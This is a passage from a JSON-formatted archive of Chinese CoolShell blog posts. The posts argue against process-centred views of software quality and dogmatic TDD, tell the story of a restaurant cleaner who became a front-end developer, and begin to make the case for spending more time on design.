[![流体力学的演示](../wp-content/uploads/2010/12/Liquid-150x150.jpg)](https://coolshell.cn/articles/3421.html)[流体力学的演示](https://coolshell.cn/articles/3421.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-16 “品质在于构建过程”吗？.md",
    "content": "---\nlayout: post\ntitle: “品质在于构建过程”吗？\ndate: 2011/10/16/ 5:16:55\nupdated: 2011/10/16/ 5:16:55\nstatus: publish\npublished: true\ntype: post\n---\n\n**感谢[@weidagang](http://weibo.com/n/weidagang) （Todd）向酷壳投递的这篇精彩的文章。[原文](http://www.cnblogs.com/weidagang2046/archive/2011/10/15/2213672.html)**\n\n\n今天在微博上看到几位敏捷爱好者探讨敏捷测试和质量保证问题，我忍不住也加入了讨论：\n\n\n\n> **Z先生原帖：**我刚才看到一个大会演讲稿，谈到敏捷测试六大指导原则：1.仅靠测试人员不可能获得高质量的软件，质量是整个研发团队的责任；2. 场景是不可穷举的，测试活动必须是风险驱动的，关注于高风险的场景；3.分层自动化测试是唯一出路;4.在正确的位置进行恰当的测试是自动化的关键；【待续】\n> \n> \n> **S先生回复：**品质在于构建过程。检验贯穿构建过程，提供及时反馈。\n> \n> \n> **我回复：**什么样的构建过程才能出Unix这样的品质呢？迭代？快速反馈？TDD?\n> \n> \n> **S先生回复：**据说stroustrup听到重构时的反应是，我们从七十年代就这样做了。推荐《UNIX编程环境》，了解大师的编程方式。\n> \n> \n> **我回复：**您偷换了概念。不能说大师用了重构，C++和UNIX的品质就是靠重构或某种构建过程得来的。厨师做菜用到了勺子，不等于菜好吃是因为勺子。\n> \n> \n> **S先生回复：**我没有概念。我们看到一个果，就问因是什么。其实是泛因果，无因果，一切是机缘凑巧。\n> \n> \n> **我回复：**“品质在于构建过程”难道不是一个明白的因果描述吗？\n> \n> \n> **S先生回复：**品质在于构建的人。我说话时没因果，你看到了因果。\n> \n> \n> **我回复：**欢迎敏捷爱好者围观！\n> \n> \n\n\n很高兴几个回合讨论下来S先生修正了先前“品质在于构建过程”的观点。什么重构、TDD、迭代、快速反馈等等构建过程都不是Unix品质的核心要素。我不但不认同“品质在于构建过程”、“测试是最好的设计方法”这类机械式的观点，而且也不满意把软件优劣归结于“人是根本”的简单回答。我们需要探索一个既非机械式，也非简单地归结为某种理念的答案。\n\n\n\n像Unix这样优秀的软件，真正的核心要素到底是什么呢？我的答案是：模型，即人心中的软件。在看得见、摸得着之前，Unix的品质就已经存在于设计者的心中了，他们不会在Unix诞生后惊讶：“哇，Unix的稳定性这么好，7×24小时运行，从来不蓝屏”。模型一定是设计者心中最美的东西，为什么我们阅读操作系统源代码会像进入迷宫一般理不清头绪，而作者自己却觉得头头是道呢？因为作者早已“胸有成竹”，我们以为他几十万行代码敲很辛苦，实际上在他自己看来是按部就班一步步向目标靠近。\n\n\n模型是软件的灵魂，存在于设计者的心中，而软件的构建过程正是心中的世界向现实世界逐渐投影。模型可以是完美的，而现实却非完美，或许有时候我们很幸运地到达了，或许有时候我们不得不向现实妥协，改变心中的世界。试图制造灯泡的爱迪生可能会一时找不到熔点极高的发光金属而止步不前，企图制造永动机的人则根本无法实现。在不完美的现实中，我们明明想的是a+b，却敲成了a-b；我们以为某个API可以很快返回，没想到却等了5秒钟，为了不阻塞用户不得不改成了异步。Review、测试等构建过程在一定程度上弥补了现实的不完美，并对模型给予了反馈，但它却无法决定软件的特质。如果设计者心中没有Unix，即使每个实现环节都层层检验，拥有光速般的反馈，他有怎么能构建出Unix呢？Windows NT内核和Windows 3.1内核的品质差别不在于微软采用了两种不同的构建过程，而在于它们采用了不同的内核模型。灵魂与躯体的差别就在于此！虽然对于普通的软件开发通常有不少成熟的模型供选择，并不需要总是创造自己的模型，但理解模型间的差异，并在设计时选用恰当的模型仍然比采用某种构建过程更加重要。服务器架构采用Nginx似的异步IO模型，还是采用Apache似的每个请求一个线程的模型远比开发是否采用了TDD更为重要。\n\n\n模型的产生是柔性的，主要源于灵感；过程的执行是刚性的，主要源于逻辑。苹果砸在牛顿的脑袋上能砸出万有引力模型，砸在我们脑袋上却只是“哎呦”一声；但一个苹果3元钱，两个苹果2\\*3=6元钱却在牛顿和我们面前是平等的。迷信灵感和迷信逻辑是两个错误的极端，孔子讲“天下国家可均也，爵禄可辞也，白刃可蹈也，中庸不可能也”，任何一项技能的高级阶段都是关于“度”的艺术。如同光具有波粒二象性，软件开发也具有艺术创作和工业生产的二象性，它包含了柔性的设计和刚性的过程。越是不成熟的前沿领域越表现出柔性特征；越是成熟的一般领域越表现出工业生产的特征。因此，一个以新产品为主的创业型公司应当更注重设计，更需要画家、诗人般的创造型人才；而业务成熟产品稳定的大公司应当更注重过程，更需要踏踏实实的生产线工人似的人才。但在当今这个瞬息万变的信息时代，即使是世界500强的大公司也越来越不稳定，越来越需要创新才能适应，所以即使大公司也不可忽视软件开发的柔性特征。同时，我们也不能迷信模型，过程同样可以成为企业的核心竞争力，比如：富士康。虚虚实实，实实虚虚，其妙无穷。老外做Nike品牌（虚），我们做代工生产（实），高额利润被老外拿走了；我们经营航空公司（虚），老外生产波音飞机（实）高价卖给我们，高额利润又被老外拿走了。靠虚取胜还是靠实取胜？这是个问题^\\_^\n\n\n或许我对于模型柔性的描述不太让人满意，人们多习惯于有章可循的感觉，即便不是死板的知识，起码要找个“在某某思想的指导下”才觉得心里有着落。或许还有人说，模型的确重要，那么我们能不能有一个过程、模式或套路来推导出模型呢？比如，现在非常流行的从用户需求出发的分析模式，即“分析需求，抽象出共性，共性是本质的，本质是稳定的”，这类模式的特点符合人们希望找到套路的心理，一看就明白，容易操作，有成就感。我不否认这类模式的确可以得出可用的软件设计，沿用成熟的模型也未尝不可。但我们应该明白，心中的世界远比现实的世界更广大更美妙。世界是多元的，用户需求、成熟模型等直接可见的东西只代表了某几个维度的视图，设计者心中应当有更多的维度！用户需要一个文本编辑器，是设计者心中的世界决定了他交出的作品是Vi，还是Emacs，亦或是Notepad。亨利·福特说：“如果你问用户需要什么，他会告诉你一匹更快的马”。汽车源于福特心中的世界，这是一个比只有马的世界更多彩的世界。乔布斯是一个不重视市场调研的人，iPod，iPhone，iPad都不是发个问卷，做个市场调查看看用户需要什么的结果。Apple是乔布斯心中的世界在现实中的投影！所以，请打破“从用户需求出发”，“从模式出发”的迷信，释放你的想象力，让自己心中的世界去包容现实的世界吧！\n\n\n每个人心中都有一个属于自己的世界，牛顿运动定律是牛顿心中的世界，相对论是爱因斯坦心中的世界。哪一个才是本来的世界呢？有没有本来的世界呢？本来的世界是什么样子呢？… 老子给我们启示“道可道，非常道”，说得清，道得明，想得到的都不是永恒的真理，所以真理不可言说，对真理的探索永远没有止境……\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [![为什么Scrum不行？](../wp-content/uploads/2011/07/hat-150x150.jpeg)](https://coolshell.cn/articles/5044.html)[为什么Scrum不行？](https://coolshell.cn/articles/5044.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\nThe post [“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-17 Test-Driven Development？别逗了.md",
    "content": "---\nlayout: post\ntitle: Test-Driven Development？别逗了\ndate: 2011/10/17/ 0:38:15\nupdated: 2011/10/17/ 0:38:15\nstatus: publish\npublished: true\ntype: post\n---\n\n这篇文章来源于Peter Sergeant在[Write More Test](http://www.writemoretests.com/) 博客上的《[Test-Driven Development? Give me a break…](http://www.writemoretests.com/2011/09/test-driven-development-give-me-break.html)》，在原文和[Reddit](http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/) 上有很大反响。这篇文章里的很多观点在《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》和《[再谈敏捷和TW咨询师](https://coolshell.cn/articles/3745.html \"再谈敏捷和ThoughtWorks中国咨询师\")》里都出现过（我个人觉得我的观点比其更全面一些）。就像我转的《[Scrum为什么不行](https://coolshell.cn/articles/5044.html \"为什么Scrum不行？\")》 和《[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html \"Bob大叔和Jim Coplien对TDD的论战\")》一样，从这些贴子我们可以看到——**这是一个全世界的问题，并不是只有在中国才有的问题**。\n\n\n**很多敏粉都在说我在是喷敏捷，黑敏捷，向敏捷泼脏水，我只想对这些人说——**你们这样的见解很肤浅也很敏感，你们根本就没有认识到——争论，反思和不同观点的意义，你也就无法了解你们所信仰的敏捷！你们只是在肤浅和盲目地信仰和教条敏捷中的许多名词、方法和标准答案罢了。\n\n\n——————————————正文开始——————————————\n\n\n对于程序员来说有些事有非常危险的信号（red flag）。当我听到有人开始信仰Test-Driven Development 是 One True Programming Methodology（唯一正确的编程方法论），这就是危险信号（red flag），我开始假设你是一个劣等、没有经验的程序员，或是某些敏捷咨询师。\n\n\n测试只是一个工具来**帮助你**，而不是用来证明谁比谁更虔诚，或是我的屌比你的要大，等这种愚蠢的行为。测试是用来让**程序员**得到有帮助的、更快的反馈，从而找到正确的路径，如果你搞坏一些事，其还可以用来给后人一些警告。这根本就不是一个神秘的有魔力的方法其可以让你的代码变得更好……\n\n\n整个Test-Driven Development的概念是麻痹和信奉，从而让其成为你的人生观。相反的：Developer-Driven Testing，它给你和你的同事一些有用的工具来解决问题，来支持你自己，而不是那种以工具或方法为中心的让你假设其应该是那样的测试。\n\n\n\n是不是在有些时候我们需要在写代码前写测试？当然是，比如，“修改已有的功能”，这会一个适用的场景，还有那些短小的和已定义完善的事物，或是对已被测试过的代码做一些改善。\n\n\n但， 是不是你就应该需要**总是**要去先写测试？省省吧，别逗了。\n\n\n这是极度白痴的行为，尤其是在设计，调查和开发的初期。让你的测试来接管你的代码（而不是影响那个模块的代码）和接管你的设计 这是一个巨大的失败，就是因为你写的那些测试范围太大太不靠谱。（陈皓注：我在《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》一文中说过测试案例的测试范围的问题，敏捷社区除了对我进行人身攻击外从未对此做过正面回答。）\n\n\n在写代码前写测试案例在一些场景下的确很不错。然后，Test Driven Development，被敏捷专家或是其它各种五花八门的江湖骗子像神给凡人宣扬一样，这就是欺骗大众。\n\n\n行动在想法之下，于是测试必需先行（所有我已看到的，所有我正在看到的都表明这是TDD的中心思想—— 你写了测试，然后你再写代码并通过测试），于是测试成为了最有用的活动并可以帮助程序员。这是错的。\n\n\n就算你在一开始要写一些测试案例，但只要你想让这些测试案例更有意义，那么，你要么得让这些测试案例的测试范围更小更底层更精确，要么你就得在整个软件快要写完的时候再去写测试，要不然你就得欺骗或是篡改测试案例。在为数不多的情形下，前者是正确的——测试围绕于bug，或是小的，定义地很好的功能碎片（陈皓注：我个人理解为单元测试是目前最有效的））\n\n\n把测试变成整个活动的中心因为其对程序员有用？真牛逼。老实说，控制程序员的工作流程只可能得出一条无比正确的答案——荒谬可笑。\n\n\n测试帮助程序员，是因为其可以帮程序员组织自动化测试，所以才帮了程序员，而不是cargo-cult（[货物崇拜](http://zh.wikipedia.org/zh/%E8%88%B9%E8%B2%A8%E5%B4%87%E6%8B%9C)，参看《[各种流行的编程方法](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")》中的cargo-cult编程）——信仰一种工作流程并让所有的人或事来适应于他。\n\n\n先写测试这种方法只会在“Developer Driven Testing”（程序员自己驱动的测试）下可行——关注于选取一个正确的方法让程序员更有生产力。生成一堆测试的规则并说这是唯一的真理是不正确的。\n\n\n**一些讨论和想法（在此贴发出数小时后）…**\n\n\n当我这篇博文发出几个小时后，其被转到了别的地方并引发了一些讨论。\n\n\n在 [Hacker News](http://news.ycombinator.com/item?id=3033129) 上，有人说我提出了很多很不错的问题，并且那是真正的有理有据的观点。我在用用户名叫*peteretep* 的回复了一些。\n\n\n在 [Reddit](http://www.reddit.com/r/programming/comments/kq001/testdriven_development_youve_gotta_be_kidding_me/) 上的争论更多更强。那里有很多的人觉得需要写自动化测试。并且这篇博文被大家演变成拥护测试和可实践的建议，我觉得我是误传达了我的想法，我觉得软件测试是非常重要的，而不是根据哪个方法论进行的教条主义！\n\n\n——————————————正文结束——————————————\n\n\n我在Reddit上看到了下面的事，我也作些评论。\n\n\n* 大家在讨论很多很多的技术细节，比如如何测试私有方法，如何测试inner class，甚至还有代码。我太喜欢了，这才是真正的讨论，而不是像酷壳这边那些敏粉们说人而不说事的讨论，**那些所谓的敏捷咨询师的话里连一点技术细节都没有**。\n\n\n* 并且也有人说TDD可以让你去Design，但随后就有人说，正真的Design就是Design，而不是hack 测试来强行让你Design。后面有了附和到——有**很多思想意识想用流程来代替思考，软件开发就是需要在某中上下文下去思考，而不是使用某种机制来让你思考** 。\n\n\n* 我看了两极分化的大量的争论，这是我最喜欢看到事。世界就是因为有不同的观点而美好。**有反对才有争论，有争论才有思考，这才是进步的源泉，而不是统一认识，形成标准**。而对于那些党同伐异的，一听到有反对声就激动就要打压的敏粉来说，我只能认为他们的人生观世界观扭曲得就像朝鲜那样。\n\n\n（全文完）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\n* [![[转]TDD到底美还是不美？](https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg)](https://coolshell.cn/articles/3766.html)[[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html)\nThe post [Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-20 Stay Hungry, Stay Foolish ！！.md",
    "content": "---\nlayout: post\ntitle: Stay Hungry, Stay Foolish ！！\ndate: 2011/10/20/ 0:26:50\nupdated: 2011/10/20/ 0:26:50\nstatus: publish\npublished: true\ntype: post\n---\n\n在整个社会都在关注乔帮主的时候，我想在这里和大家分享一个真实的就在我们程序员身边的故事。和我在《[如果你看不见你还能编吗？](https://coolshell.cn/articles/5514.html \"如果你看不见你还能编程吗？\")》一文里介绍的那些盲人程序员一样，**同样是Stay Hungry， Stay Foolish。但我个人更认为我今天想要给大家讲述的这个故事对于我们这些普通人更有意义一些。我真心的希望大家认真看完这个“从刷厕所到程序员”故事后，我们能从中感悟到点什么**。\n\n\n因为朋友的原因，我和一个创业团队经常有些往来，通过这个团队，我认识了这个故事的主人翁——王平（[@wpingsuper](http://weibo.com/wpingsuper)）。其实，很早前他在Google Reader和Buzz里follow了我，但我从没和他交流过。而他的经历我却是在上周末去看望这个创业团队的时候才听说。我问他们要了王平的电话，联系了王平，详细地了解了王平的经历，并征得他的同意，在这里给大家分享他的故事。\n\n\n王平是一个贵州人，03年大学毕业，体育专业，没有任何家庭背景，只能在贵州的山区里的一个中学里当体育老师，月薪150元。可能和大多数心怀梦想的年轻人一样，他并不甘心，从03年到05年间，他有好多次到北京，他觉得在大城市里有他的梦想。于是，他在04年底，05年初，他正式来到了北京，因为大学专业的问题，他无法找像大学生一样找到不错的工作，那时的他只能在北京一家很小的餐馆当清洁工，他在餐馆里洗盘子，扫地，刷厕所，一个月400元钱。\n\n\n因为他的学历是这个小餐馆里学历最高的，所以，餐馆里出了什么事都会让他对去搞，所以，财务使用的电脑有了故障也让他去修，当时的他根本对电脑完全不知道是怎么一回事，但是自从接触了电脑以后他就迷上了电脑。他和我说，他这个人就是好奇心强，好动，什么都想弄一弄，所以，时间长了，弄得多了，也能为餐饮解决一些没有懂的问题，维护财务电脑就是其中之一。日子一长，虽然还是刷厕所，但是薪水也涨到了800元一个月，就连餐馆的大厨也对他说，他不属于这里，他将来一定会有前途的。当时的他还觉得不可能，笑了笑就过了。\n\n\n\n直到07年的一天，餐馆的会计对他说——“看你对电脑那么有兴趣，你应该去学习一下电脑”，这句话点醒了他。于是他在报纸上找到了一个教做网页的培训班，培训分成三期，近一年，每期需要7000元钱，好心的那个会计给了他6000元钱，让他可以在周末参加这个培训班。他和我说，这个会计是他的贵人，换钱的时候她也比较推辞，至今他也还和那位会计老师保持联系。\n\n\n不过好景不长，只上了一期，问题来了，餐馆周末也要上班，他无法去参加培训班了。所以，他只好辞职，去了中日友好医院，当一个送药工，就是用板车把药从这个地方送到另一个地方，全是体力活，一个月只有200元钱，不过他有了周末可以去培训班的那个时间。但是钱也花完了，上了两期都没法继续了。他和我说，当时觉得只要能活着就行，吃不饱无所谓。\n\n\n此时的他虽然上了网页制作的培训班，但是因为没有实际做一个东西，所以就算是培训了也什么都不懂。这时他看到Java是一个很不错的方向，所以，想学Java。于是，08年初的时候，他用自己以前办的信用卡向银行申请了个人贷款，去报了一个需要14000多元的Java的培训班。此时，他认识了我的朋友——阎斌（[@yanbin001](http://weibo.com/yanbin001)），我这个朋友当时在这个培训公司里做讲师，讲Java。\n\n\n没有计算机基础的王平学习Java的难度可想而之，非常地痛苦，所以，阎斌看到他懂点网页开发，就让他别学Java了，搞搞Web的前端网页开发。而且，我这个朋友阎斌是个创业狂，所以，经常拉着王平一起去和他做互联网上的产品，并让王平去研究一些别人做的网页，于是王平从此学会做了Web前端，并开始能独立开发一些前端网页，有了实实在在的锻炼，王平他开始真正会用html + css，还会一点点js。\n\n\n09年4月份的时候，王平在北京西四环找到了第一份像样的工作，是一家做保健品的小公司，需要做一个公司的网站，月薪3400元。这让他得以还清了欠银行的钱。他还和我开玩笑说，他和我做的都是电子商务。当然，这对于他来说他并不满足。而我那个创业狂的朋友阎斌，又叫他出来创业，可惜创业再次未果。他只好又回去打工。\n\n\n2010年4月份的时候，他到了12580做前端开发，月薪4000元左右。他说，12580的前端开发只有他一个人，今天12580的网页90%以上还是他写的，并且他还让给了我这个链接：<http://12580.10086.cn/>。大家可以去看看，你能想得到这个网页是出自一个以前对电脑一窍不通在饭馆里做清洁的人之手吗？\n\n\n此时的王平，对Web前端开发已经是驾轻就熟，非常熟练，就连后端的工程师对他也非常佩服。 觉得他用CSS和JS用得直是相当的不错。当然，王平并不满意这份工作，在10年的11月份，他换到了现在的工作单位——百度和日本Rokuten的合资公司——[乐酷天](http://www.rakuten.cn/)。还是老样子，他一个人负责所有的前端开发，不过这次的跳槽，他找到了一份相当不错的薪水。我对这份薪水的理解是——高级前端开发程序员。我引用我另外一个在微软和出过国并和王平一同工作过的朋友的话——“王平太猛了，CSS和JS用得巨熟无比，每次我们请他帮我们搞定一个网页效果，我们问他2天行不行，结果他2个小时就搞定了！”。\n\n\n好了，我的故事到这里要结束了，先让我们来看一看80后王平的样子吧。\n\n\n![](../wp-content/uploads/2011/10/wpingsuper.jpg \"80后——王平\")在享受工作的王平，个人博客 http://www.soboom.com\n我不知道你看完这个故事后是什么样的感受。我有两个感觉——\n\n\n* 乔布斯说Stay Hungry, Stay Foolish。今天，当我们所有的人都在仰望神一样的乔布斯的时候，在我们津津乐道那些浪潮之巅的人物时，在听过王平对我讲述他的经历过后，我只想说，其实，我们大多数人真的不懂什么是——Stay Hungry, Stay Foolish。包括我自己在内。\n\n\n* 王平让还让我想到了电影《命运规划局》里的最后一句话，大概是这样说的——“**大多数人按照我们所安排的路线生活，害怕探索其它路线，但也会有一些人，他们并不满足于被设定的生活轨迹，冲破我们设置的重重阻碍，意识到自由意志是天赐之物的人，才明白只有在奋力抗争后才知道如何善用之**。”\n\n\n（全文完）\n\n\n***————更新 2011/10/20 15:00————***\n\n\n有些人觉得这篇文章是给培训公司做广告或是炒作。有些人觉得几百元钱在北京生存并不可能。我可以理解你们的怀疑，但这些言论让我有些无语，我只希望你们能在做些调查后，再做这样的结论。**你可以看到，王平在第一个培训公司没有学到什么，在第二个培训公司也没有学到什么，而是在和我的朋友阎斌去尝试创业时才学到了很多。呼唤这些人的阅读智商啊**。\n\n\n这个世界有时候并不是像我们所想像的那样，在北京，几百元一个月的人并不少，上大学也好，去培训公司也好，这都不重要，重要的是我们想改变自己的那种心态和积极。而我只希望王平的经历能给大家带来人生的一些感触。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [Stay Hungry, Stay Foolish ！！](https://coolshell.cn/articles/5651.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-10-25 多些时间能少写些代码.md",
    "content": "---\nlayout: post\ntitle: 多些时间能少写些代码\ndate: 2011/10/25/ 0:24:44\nupdated: 2011/10/25/ 0:24:44\nstatus: publish\npublished: true\ntype: post\n---\n\n我在我的微博上说过[这样一段话](http://weibo.com/1401880315/xmYMteUWT)，我想在这里把我的这个观点阐述地更完整一些。\n\n\n\n> [@左耳朵耗子](http://weibo.com/haoel)：聪明的程序员使用50%-70%的时间用来思考，尝试和权衡各种设计和实现，而用30% – 50%的时间是在忙碌着编码，调试和测试。聪明的老板也会让团队这样做。而傻逼的老板，苦逼的程序员会拿出来100%-150%的时间来忙着赶进度，返工，重构，fix 大量的bug… 所以， 越差的团队一般会越忙，而且还忙不完。\n> \n> \n\n\n在现在这个浮躁的时期，再加上敏捷咨询师们念的歪经，他们让人感觉上就像是软件产品是可以在很短的时间内高质量的完成的，这令那些管理者们很兴奋，就像巴甫洛夫的条件反射实验中的狗看到了肉就会流口水那样兴奋。他们使用TDD，快速迭代，不断重构，持续集成直至持续部署的方法在进行软件开发。\n\n\n软件开发真是这样的吗？难道不需要花时间去思考吗？对此，有些观点在Todd的《[“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html \"“品质在于构建过程”吗？\")》以及《[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html \"Bob大叔和Jim Coplien对TDD的论战\")》中谈到过了。我只想想表达下面的观点：\n\n\n* **软件的精髓在于设计，设计是一件很费大脑的事件**。对于软件来说，设计没有完美的，它总是一件需要取舍需要权衡的事，比如：时间换空间，空间换时间，TCP或UDP，同步还是异步，数据冗余还不冗余等等。那怕是一个小小的observers模式是pull方式还是push方式 都需要仔细讨论。这些的东西需要时间和做前期尝试。\n\n\n* **TDD**、**快速原型和迭代可能会对软件和团队产生负面影响**。在一开始，你需要花很大的精力来让你的软件从无到有（做过软件的人都知道，从零开始写代码是很痛苦的事），但是因为你没有想好，先做再说，所以，后期你会面临更多的质量问题而让你需要花更多的时间精力。当然，那些咨询师会让你用持续集成和持续部署这样的方法。但我想告诉你，这并不解决你软件设计的缺陷。举个例子——TDD、迭代、原型只关注功能性需求，其不会关注非功能性需求，比如性能问题，高可用性问题，系统维护问题（模块的耦合问题），等等。而这些问题往往都可以让你的软件设计重新来过。\n\n\n* **重构是恶梦，重构应该越少越好**。当你维护一个复杂的系统时你会知道重构是一件多么恐怖的事情（参看《[重构代码的7个阶段](https://coolshell.cn/articles/5201.html \"重构代码的7个阶段\")》）。如果一开始没有想好，你要面临的不单单是re-design, re-architect，还要面对时间和人力成本的增加，最难的是你还要面对的是团队士气因为不断的rework而逐渐低落并产生厌倦和懈怠情绪。\n\n\n\n所以，如果你能有多一些时间去和客户讨论一下需求和未来可能的变化，去调查一下实现的技术难点和细节，去和其他有经验的人讨论并推敲一下架构和设计，去思考设计上的缺陷，那么，你的coding会变得非常地直，直到你一眼就看到尽头，你的测试案例也会写得非常地好，你会几乎不需要重构，于是，你会在未来少写很多代码，从而你的软件开发会越来越轻松，直到技术开始换代。\n\n\n我现在在做的项目，花了几乎4个月的时间来做设计，在这个过程中，我们反复思考、讨论和权衡若干种实现方法，并尽可能地穷举所有的场景和细节以及未来可能的变化（那怕是那些简单的模块），有个模块被重写了至少三次，每次都是写到一半就被推翻重写，我们整个团队不断地在和其它团队讨论，并在对系统不断地认识中对系统进行简化和优化，并力求达到完美。现在看来，没有贸然使用Scrum是明智的。\n\n\n这就好像我们修路造桥一样，我们需要花大量的时间勘测地形地质，分析数据，思考可能出现的各种问题（各种自然灾害），评估不同的设计方案，而不是先尽快建好再说。\n\n\n所以，**多一些时间，不是让你多做几次迭代，多完成几个模块，而是可以让你少写一些代码，更快的交付一个更好的产品**。\n\n\n我相信你会有很多疑问，下面是我觉得你可能会有下面的一些观点，让我一条一条来回复：\n\n\n* **首当其冲的一定会是项目的deadline，或是那种你没有活语权的项目。**比如做那种“甲乙方合同式的项目”，我把这种项目统一认为是“外包项目”，在这种项目性质下，你很难有话语权。对此，我觉得，1）作为乙方的你还是应该和甲方在项目计划上争取一下，晓之以情，动之以理。2）如果不行，只能在时间、需求范围和质量上做一个权衡。另外，**在这种情况下你要找一个方法，把你的压力和痛苦分担给用户和领导。**（找到这个方法的前提需要你找到用户和领导他们害怕什么，嘿嘿）\n\n\n* **过度设计和纸上谈兵**。有人说会不会设计太多，造成过度设计，或是在设计上花太多的时间。这有可能。我上一家公司的一个项目团队就花了1年多的时间来不停不停的开会和做设计，结果release的时候还有1000多个bug。这个问题的原因是，这个团队的设计是在纸上谈兵，开会是开神仙会，讨论的设计都是浮云。所以，**设计并不是讨论和思考，还需要去尝试，**我认为当你的设计完成的时候，你的骨干核心代码都基本完成了。\n\n\n* 